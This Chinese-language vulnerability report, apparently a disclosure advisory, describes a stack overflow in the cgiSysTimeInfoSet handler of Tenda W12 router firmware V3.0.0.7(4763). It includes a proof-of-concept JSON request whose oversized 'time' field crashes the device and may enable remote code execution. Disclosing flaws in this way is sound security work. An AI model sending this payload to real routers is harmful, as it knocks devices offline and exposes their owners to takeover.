# Tenda W12 cgiSysTimeInfoSet函数中存在栈溢出漏洞

## 基础信息

- 厂商：Tenda

- 产品：W12

- 固件版本：V3.0.0.7(4763)

- 固件更新时间：2026-03-04

## 漏洞概述

在Tenda W12 V3.0.0.7(4763)的/bin/httpd二进制的`cgiSysTimeInfoSet`函数中存在栈溢出漏洞，攻击者可远程发起攻击，通过精心构造的报文触发栈溢出漏洞。

## 详细分析

程序在`cgiSysTimeInfoSet`函数中存在对`time`字段的解析操作，其中解析到`sec`变量时可产生溢出。

![image-20260426154836444](assets/image-20260426154836444.png)

![image-20260426154847577](assets/image-20260426154847577.png)

poc报文

```
{
  "sysTimeInfoSet": {
    "type": "manual",
    "time": "2026-04-26-12-00-"+"A"*0x1000
  }
}
```

## 漏洞危害

- 栈溢出（Stack Overflow）
- 可导致：
  - 设备崩溃（DoS）
  - 潜在远程代码执行（RCE）

